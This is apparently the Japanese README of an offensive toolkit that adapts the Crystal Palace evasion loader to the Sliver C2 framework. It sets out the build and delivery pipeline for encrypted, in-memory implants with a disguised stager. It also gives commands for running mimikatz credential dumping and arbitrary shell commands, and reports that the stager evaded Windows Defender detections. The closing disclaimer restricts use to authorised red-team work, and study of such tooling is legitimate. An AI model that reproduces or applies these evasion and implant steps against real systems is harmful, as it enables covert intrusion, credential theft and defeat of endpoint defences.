Crystal Palace 回避キット (Sliver用)
Crystal Palace 回避キットを Sliver C2 に移植しました。
これは rasta-mouse 氏の Crystal-Kit(Cobalt Strike 向け)を Sliver に移植した初のパブリック版です。 Crystal-Kit-Xenon(Mythic 向け)で実証された同じクロス C2 パターンを踏襲しています。
Sliver のデフォルトのリフレクティブローダーおよびポストエクスプロイト実行パスを Crystal Palace(Raphael Mudge、BSD ライセンス)に置き換えます。結果として、以下の機能をバンドルした位置独立コード(PICO)ブロブが生成されます。
LoadLibrary / GetProcAddress は不使用)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA に対する IAT フックSliver インプラント DLL(または任意のポストエクスプロイト DLL)は PICO 内部で XOR マスクされ、実行時にのみメモリ上でアンマスクされます。
生の Sliver インプラント DLL はターゲット上で直接実行されることはありません。代わりに Crystal Palace でラップされ PICO となり、AES-256-CBC で暗号化され、カスタムステージャー(約 17 KB)とともに配信され、メモリ上で復号・実行されます。
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, ペイロード非内蔵)
→ payload.dat (~36 MB AES-256-CBC 暗号文)
│
▼ 両ファイルをターゲットの同一ディレクトリに配信
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC で payload.dat を復号 → RW メモリ上の PICO
▼ VirtualProtect(RX) → CreateThread → Crystal Palace エントリ
▼ .pdata 登録 → TLS コールバック → DllMain → StartW() → ビーコンゴルーチン → HTTP セッション
セッションがアクティブになったら、機密性の高い DLL(偵察、資格情報ダンパーなど)を Sliver 拡張機能を介して Crystal Palace 経由で実行します。
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
再ビルドせずにランタイム引数を渡すには、| の後に追加します。
sliver > crystal --payload C:/path/file.pico.bin|args here
crystal-loader.x64.dll は Sliver DLL 拡張機能であり、ディスクから PICO ブロブを読み込み、VirtualAlloc(RW) 領域に配置し、VirtualProtect で RX に切り替えて、Crystal Palace エントリポイントにジャンプします。PAGE_EXECUTE_READWRITE マッピングは保持されません。パスはフォワードスラッシュを使用します。引数形式は type:string(BOF バイナリではありません)です。DLL は Sliver によってメモリ内に読み込まれます。ターゲットディスクにファイルとして書き込まれることはありません。
crystal-exec は同じ拡張機能にバンドルされた 2 つ目のコマンドです。Crystal Palace 回避を使用して任意のシェルコマンドを実行します。PICO は拡張機能 DLL に直接埋め込まれているため、PICO ファイルをアップロードする必要はありません。
sliver > crystal-exec --cmd "whoami /all"
出力はパイプを介して既存の Sliver セッション経由でオペレーターに返されます。これは、完全なポストエクスプロイト DLL を必要としない単発のシェルコマンドに最も高速なパスです。
crystal-kit-sliver/
├── loader/ ← リフレクティブローダーのソース(ユースケース A)— Crystal-Kit からそのまま
├── postex-loader/ ← ポストエクスプロイトローダーのソース(ユースケース B)— Crystal-Kit + Xenon パッチ
├── libtcg.x64.zip ← アップストリームのバイナリ依存関係(ビルドの便宜上ツリー内に保持)
└── sliver-glue/ ← Sliver 固有のビルドグルー
├── extension.json Sliver 拡張機能マニフェスト
├── generate.sh ポストエクスプロイト DLL → PICO にラップ(ユースケース B)
├── generate-implant.sh Sliver DLL → PICO にラップ(ユースケース A)
├── bundle-implant.sh PICO + Crystal Palace デモステージャーを drop.zip にバンドル(レガシー)
├── bundle-stager.sh カスタムステージャーをビルド: csvchelper.exe + payload.dat(プライマリ)
├── pack-extension.sh DLL + マニフェストを Sliver 拡張機能 tarball にパック
├── Makefile make objects / package / clean
├── stager/ カスタムステージャーのソース(AES-256-CBC、asInvoker マニフェスト)
└── wrapper/ crystal-loader.c(BOF 互換 DLL ラッパー)
docs/
├── RUNBOOK.md Kali → Windows ラボのステップバイステップ手順
├── PORTING_MAP.md ファイル単位の Crystal-Kit → このリポジトリのマッピングと実際の差分
└── TOOLCHAIN.md ビルド前提条件とパイプラインの詳細
# 1. ツールチェーン
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace ディストリビューション(BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. すべてビルド
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. ユースケース A — Sliver インプラントをラップし、ステージャーをビルド
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → build/csvchelper.exe + build/payload.dat を生成(両方をターゲットに配信)
# 5. ユースケース B — ポストエクスプロイト DLL をラップ(postex.sh が命名と sliver コマンドを表示)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# 組み込み引数あり: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — ビルトインコマンド実行ツールを再ビルド(crystalexec.c 変更時のみ必要)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
完全な運用手順(Sliver インストール、リスナー設定、ターゲット実行、トラブルシューティング)については docs/RUNBOOK.md を参照してください。
| 項目 | ステータス | 証拠 |
|---|---|---|
| すべての Crystal-Kit ソースが MinGW 15.2 + NASM 3.01 でコンパイル可能 | OK | make all 正常終了、ローダー毎に 8 個の .o + 1 個の .bin |
| Xenon ポストエクスプロイトパッチが適用済み | OK | dfr "ror13"、_DLLARGS_ セクション、DLL_PROCESS_ATTACH 内の dll_arguments パラメータを確認 |
| Crystal Palace CLI 検証済み | OK | ./link <spec> <dll> <out.bin> [%KEY=value] — 位置指定、dist/README に文書化 |
| エンドツーエンド PICO ビルド(ユースケース A) | OK | テスト DLL から 117 KB の PICO を生成 |
| エンドツーエンド PICO ビルド(ユースケース B) | OK | postex-loader/loader.spec を介して 111 KB の PICO を生成 |
| Sliver 拡張機能ラッパー DLL のビルド | OK | crystal-loader.x64.dll 約 42 KB、crystal-exec.x64.dll 約 75 KB — いずれも Initialize シンボルをエクスポートする PE32+、RWX なし、stripped |
| 拡張機能 tarball の正しいパッケージング | OK | tar -tzf で検証した 37 KB の tarball |
| カスタムステージャービルド(2 ファイル配信) | OK | bundle-stager.sh → csvchelper.exe(17 KB、エントロピー 4.784)+ payload.dat(AES-256-CBC) |
| Windows でのランタイム実行(ユースケース A) | OK | Windows 10 x64 FLARE-VM で Sliver セッション確立。ステージャーは Defender(Wacatac.B!ml + ZomBytes.B)を通過 |
| Windows でのランタイム実行(ユースケース B) | OK | crystal --payload C:/path/file.pico.bin — ポストエクスプロイト PICO 経由で新しい Sliver セッション確立。引数形式は type:string、フォワードスラッシュパスを確認 |
crystal-exec コマンド | OK | シェルコマンドの出力がパイプ経由でオペレーターに返される。PICO は拡張機能 DLL に埋め込まれており、アップロード不要 |
| 依存関係 | ライセンス | 入手方法 | バンドル? |
|---|---|---|---|
Crystal Palace(crystalpalace.jar、link など) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | いいえ(.gitignore が external/ を除外) |
libtcg.x64.zip | アップストリームバイナリ、ライセンス未記載(おそらく QEMU TCG 派生) | アップストリームの Crystal-Kit リポジトリからコピー | はい。ビルドの便宜上ツリー内に保持 |
| Sliver C2 | GPLv3 | https://sliver.sh | いいえ — ランタイム依存関係のみ |
| MinGW-w64 + NASM | GPL 互換 | apt install または brew install | いいえ |
このリポジトリは crystalpalace.jar を再配布しません。ビルドパイプラインは外部から取得し、CRYSTAL_PALACE_HOME 環境変数で参照します。
完全なアップストリーム著作権およびライセンスの一覧については NOTICE.md を参照してください。簡単な概要:
dll_args セクション)beacon.h、beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ グルースクリプトと拡張機能マニフェストgenerate-implant.sh + bundle-implant.shcrystal --payload 動作確認、引数形式を type:string、フォワードスラッシュパスに修正)crystal-exec コマンド: Crystal Palace 経由のビルトインポストエクスプロイトシェル実行(アップロード不要)| セパレータによるランタイム引数。再ビルド不要で動的 DLL 引数をサポート攻撃的セキュリティツールであり、許可されたレッドチーム演習、ラボ研究、教育目的での使用を意図しています。書面による許可がある環境でのみ使用してください。作者は誤用に対する責任を負いません。